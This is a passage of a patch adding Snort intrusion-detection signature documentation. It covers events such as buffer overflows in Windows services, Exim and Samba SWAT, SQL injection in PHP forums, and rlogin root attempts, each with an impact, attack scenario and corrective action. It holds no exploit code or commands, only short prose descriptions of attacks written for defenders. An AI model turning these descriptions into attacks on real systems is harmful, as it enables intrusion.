+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/406.txt
+++ snort-2.8.5.2/doc/signatures/406.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+
+Sid:
+406
+
+--
+
+Summary:
+This event is generated when An ICMP Source Route Failed datagram is detected on the network.  
+
+--
+
+Impact:
+The datagram that generated with ICMP datagram failed to transverse the network.  This could be an indication of routing or network problems.
+
+--
+
+Detailed Information: 
+This rule generates informational events about the network.  Large numbers of these messages on the network could indication routing problems, faulty routing devices, or improperly configured hosts.
+
+--
+
+Attack Scenarios:
+None Known
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate these types of ICMP datagrams.
+
+--
+
+False Positives:
+None Known
+
+--
+
+False Negatives:
+None Known
+
+--
+
+Corrective Action:
+This rule detects informational network information, no corrective action is necessary.
+
+--
+
+Contributors:
+Original Rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2815.txt
+++ snort-2.8.5.2/doc/signatures/2815.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2815
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure begin_flavor_definition
+. This procedure is included in
+sys.dbms_repcat_fla.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3099.txt
+++ snort-2.8.5.2/doc/signatures/3099.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3099
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/622.txt
+++ snort-2.8.5.2/doc/signatures/622.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+622
+
+--
+Summary:
+This event is generated when a scan is detected. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to scan a host.
+
+This may be the prelude to an attack. Scanners are used to ascertain 
+which ports a host may be listening on, whether or not the ports are 
+filtered by a firewall and if the host is vulnerable to a particular 
+exploit.
+
+--
+Affected Systems:
+Any host.
+
+--
+Attack Scenarios:
+An attacker can determine if ports 21 and 20 are being used for FTP. 
+Then the attacker might find out that the FTP service is vulnerable to a
+particular attack and is then able to compromise the host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+A scanner may be used in a security audit.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Determine whether or not the scan was legitimate then look for other 
+events concerning the attacking IP address.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/652.txt
+++ snort-2.8.5.2/doc/signatures/652.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid:
+652
+
+--
+Summary:
+This event is generated when suspicious shell code is detected in
+network traffic.
+
+--
+Impact:
+Denial of Service (DoS) possible execution of arbitrary code.
+
+--
+Detailed Information:
+This event is generated when suspicious shell code is detected. Many
+buffer overflow attacks contain large numbers of NOOP instrucions to pad
+out the request. Other attacks contain specific shell code sequences
+directed at certain applications or services.
+
+The shellcode in question may also use Unicode encoding.
+
+--
+Affected Systems:
+	Any software running on x86 architecture.
+
+--
+Attack Scenarios:
+An attacker may exploit a DCERPC service by sending shellcode in the RPC
+data stream. Sending large amounts of data to the Microsoft Workstation
+service can cause a buffer overflow condition in the logging function
+thus presenting an attacker with the opportunity to issue a DoS attack
+or in some cases, to execute code of their choosing.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+False positives may be generated by binary file transfers.
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Make sure the target host has all current patches applied and has the
+latest software versions installed.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000791.txt
+++ snort-2.8.5.2/doc/signatures/100000791.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000791
+--
+Summary:
+This event is generated when an attempt is made to access the file "pv_core.php which contains known vulnerabilities in the "Pivot" application running on a webserver.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to access a file with known vulnerabilities from a remote machine used by the "Pivot" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Pivot
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2950.txt
+++ snort-2.8.5.2/doc/signatures/2950.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid:
+2950
+
+--
+Summary:
+This event is generated when multiple stacked SMB requests are made.
+
+--
+Impact:
+Possible IDS evasion.
+
+--
+Detailed Information:
+This event is generated when multiple stacked SMB requests are detected.
+This behavior does not occur on a regular basis in normal network
+traffic. This event may indicate an attempt to evade an IDS.
+
+--
+Affected Systems:
+	All systems using SMB.
+
+--
+Attack Scenarios:
+An attacker might create multiple stacked SMB requests in an attempt to
+bypass an IDS.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+If the second and third stacked requests are of a combined length that
+is less than 37 bytes this rule will not generate an event.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disallow the use of SMB.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2591.txt
+++ snort-2.8.5.2/doc/signatures/2591.txt
@@ -0,0 +1,68 @@
+Rule:
+
+
+--
+Sid:
+2591
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer overflow
+associated with the Mail Transfer Agent Exim.
+
+--
+Impact:
+A successful attack may allow the execution of arbitrary code on a vulnerable
+server with the privilege of the process running Exim.
+
+--
+Detailed Information:
+Exim is vulnerable to a buffer overflow, permitting an attacker to execute
+arbitrary code.  The vulnerability may be exploited if Exim is configured to
+verify header syntax in the e-mail message body.  This is not the default
+configuration.  If an attacker supplies a large number of spaces after certain
+header fields, it may be possible to cause a buffer overflow.
+
+--
+Affected Systems:
+Exim prior to version 4.34
+
+--
+Attack Scenarios:
+An attacker can create and send mail with a malformed header,
+possibly causing a buffer overflow and permitting the execution of arbitrary code.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References
+
+Bugtraq:
+http://www.securityfocus.com/bid/10291
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0400
+
+Other:
+http://www.guninski.com/exim1.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3127.txt
+++ snort-2.8.5.2/doc/signatures/3127.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+3127
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft License Logging Service.
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+Microsoft License Logging Service is used to manage licenses for
+Microsoft server products.
+
+A vulnerability in the service exists due to a programming error such
+that an unchecked buffer may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain administrative access to the target host.
+
+The unchecked buffer exists when processing the length of messages sent
+to the logging service.
+
+--
+Affected Systems:
+	Microsoft Windows Server 2003
+	Microsoft Windows Server 2000
+	Microsoft Windows NT Server
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message to the service
+containing code of their choosing to be run on the server.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2086.txt
+++ snort-2.8.5.2/doc/signatures/2086.txt
@@ -0,0 +1,85 @@
+Rule:
+
+--
+Sid:
+2086
+
+--
+Summary:
+parse_xml.cgi script on a webserver via the quicktime streaming port.
+
+--
+Impact:
+Arbitrary code execution, information disclosure and possible cross site
+scripting.
+
+--
+Detailed Information:
+Multiple vulnerabilities exist in Apple Quick Time Streaming Server and 
+Apple Darwin Streamin Server, such that an attacker can gain information
+on the file system as an intelligence gathering activity for an attack 
+on vulnerable services.
+
+It is also possible for an attacker to inject malicious code into the 
+log file for the server, the impact of this would be to execute the code
+when viewed by the administrator.
+
+It is also directly vulnerable to cross site scripting issues.
+
+--
+Affected Systems:
+	Apple Darwin Streaming Server 4.1.2
+	Apple Quicktime Streaming Server 4.1.1
+
+--
+Attack Scenarios:
+In the case of injecting code to the log files, the attacker would need 
+to make requests to the streaming server with the code inserted in the 
+request.
+
+The attacker can execute an attack on the file system contents using a 
+browser, the attacker needs to include a NULL byte in the request to 
+reveal the directory structure.
+
+The cross site scripting issue does not need anything specific to be 
+done.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Apply the appropriate patches for the systems affected.
+
+Upgrade to the latest non affected versions of the software.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/6960
+http://www.securityfocus.com/bid/6990
+http://www.securityfocus.com/bid/6955
+http://www.securityfocus.com/bid/6956
+http://www.securityfocus.com/bid/6958
+
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0054
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1406.txt
+++ snort-2.8.5.2/doc/signatures/1406.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1406
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000818.txt
+++ snort-2.8.5.2/doc/signatures/100000818.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000818
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "Graffiti Forums" application running on a webserver. Access to the file "topics.php" with SQL commands being passed as the "f" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "f" parameter in the "topics.php" script used by the "Graffiti Forums" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Graffiti Forums
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/1717.txt
+++ snort-2.8.5.2/doc/signatures/1717.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
+1717
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running ona web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	All systems running CGI applications
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/542.txt
+++ snort-2.8.5.2/doc/signatures/542.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+542
+
+--
+Summary:
+This event is generated when activity relating to network chat clients
+is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown
+external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow
+users to transfer files directly between hosts. This can allow malicious
+users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain
+unauthorized access to a host.
+
+This event indicates that an IRC nickname change has been made from a
+client originating from the protected network to an IRC server external
+to the protected network.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party
+using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access
+to a host, then upload a Trojan Horse program to gain control of that
+host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or
+implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+IRC Protocol:
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000821.txt
+++ snort-2.8.5.2/doc/signatures/100000821.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+100000821
+--
+Summary:
+This event is generated when an attempt is made to exploit an SQL injection vulnerability in the "VBZooM" application running on a webserver. Access to the file "sub-join.php" with SQL commands being passed as the "UserID" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to inject SQL code from a remote machine via the "UserID" parameter in the "sub-join.php" script used by the "VBZooM" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to compromise the database backend for the application, the attacker may also be able to execute system binaries or malicious code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using VBZooM
+--
+Attack Scenarios:
+An attacker can inject SQL commands to the backend database for an application if user input is not correctly sanitized or checked before passing that input to the database.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+SQL Injection Attack and Defense
+http://www.securitydocs.com/library/3587
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/3324.txt
+++ snort-2.8.5.2/doc/signatures/3324.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3324
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2959.txt
+++ snort-2.8.5.2/doc/signatures/2959.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2959
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft Network Dynamic Data Exchange (NetDDE)
+services.
+
+--
+Impact:
+Serious. Execution of arbitrary code with system level privileges
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft NetDDE that may allow an attacker to
+run code of their choosing with system level privileges. A programming
+error in the handling of network messages may give an attacker the
+opportunity to overflow a fixed length buffer by using a specially
+crafted NetDDE message.
+
+This service is not started by default on Microsoft Windows systems, but
+this issue can also be exploited locally in an attempt to escalate
+privileges after a successful attack from an alternate vector.
+
+--
+Affected Systems:
+	Microsoft Windows NT, 2000, 2003, XP, 98 and ME systems.
+
+--
+Attack Scenarios:
+An attacker needs to craft a special NetDDE message in order to overflow
+the affected buffer.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Disable the NetDDE service.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft Security Bulletin MS04-031:
+http://www.microsoft.com/technet/security/bulletin/ms04-031.mspx
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2147.txt
+++ snort-2.8.5.2/doc/signatures/2147.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+Sid: 2147
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in the BLNews php application. 
+
+--
+Impact:
+Arbitrary code execution.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a vulnerability in the BLNews PHP application.
+
+It is possible for an attacker to include a PHP file of his choosing via a URL, the script is processed and executed with the privileges of the user running the webserver.
+
+--
+Affected Systems:
+Any host using BLNews.
+
+--
+Attack Scenarios:
+An attacker could include a PHP file of his choice by including the file name in a URI supplied to the webserver that would in turn process the script.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host.
+
+Check the webserver log files for signs of this activity.
+
+Where possible, ensure the webserver is run as an unprivileged process.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Bugtraq:
+http://www.securityfocus.com/bid/7677
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2597.txt
+++ snort-2.8.5.2/doc/signatures/2597.txt
@@ -0,0 +1,68 @@
+Rule:
+
+--
+Sid:
+2597
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overrun condition in the Samba Web Administration Tool (SWAT).
+
+--
+Impact:
+Remote execution of arbitrary code.
+
+--
+Detailed Information:
+A vulnerability exists in SWAT that may present an attacker with the
+opportunity to execute code of their choosing on an affected host.
+
+The problem lies in the functions that handle base64 decoding
+during HTTP basic authentication. Exploitation of this vulnerability
+may present the attacker with the opportunity to gain control of the
+affected system.
+
+--
+Affected Systems:
+	 Versions of Samba greater than or equal to 3.0.2 and
+     less than 3.0.5
+
+--
+Attack Scenarios:
+An attcker needs to make a specially crafted request to the SWAT
+service that could contain harmful code to gain further access to the
+system.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0600
+
+Bugtraq:
+http://www.securityfocus.com/bid/10780
+
+--
--- snort-2.8.5.2.orig/doc/signatures/606.txt
+++ snort-2.8.5.2/doc/signatures/606.txt
@@ -0,0 +1,57 @@
+Rule: 
+
+--
+Sid: 606
+
+--
+Summary: 
+This event is generated when an attempt to login as the superuser is attempted using rlogin.
+
+--
+Impact: 
+Serious. If successful the attacker may have gained superuser access to the host.
+
+--
+Detailed Information: 
+This rule generates an event when a connection is made using "rlogin" with the username "root". Such activity is indicative of attempts to abuse insecure machines with a known default configuration. 
+
+Some UNIX systems use the "rlogin" daemon which permits remote "root" logins. This may allow an attacker to connect to the machine and establish an interactive session.
+
+--
+Attack Scenarios: 
+An attacker finds a machine with the "rlogin" service running and connects to it, then proceeds to guess the "root" password
+
+--
+Ease of Attack:
+Simple, no exploit software required
+
+--
+False Positives: 
+A system administrator may be logging in to a host using the username "root"
+
+--
+False Negatives: 
+If a local username is not the same as the remote one ("root"), the rule will not generate an event.
+
+--
+Corrective Action: 
+Investigate logs on the target host for further details and more signs of suspicious activity
+
+Use ssh for remote access instead of rlogin.
+
+Deny remote root logins to the host, use a normal user and "sudo" or give the user the ability to "su" to root where appropriate.
+
+--
+Contributors:
+Original rule by Max Vision <vision@whitehats.com> modified from a signature written by Ron Gula
+Snort documentation contributed by Anton Chuvakin <http://www.chuvakin.org>
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS389
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1870.txt
+++ snort-2.8.5.2/doc/signatures/1870.txt
@@ -0,0 +1,69 @@
+Rule:
+
+--
+Sid:
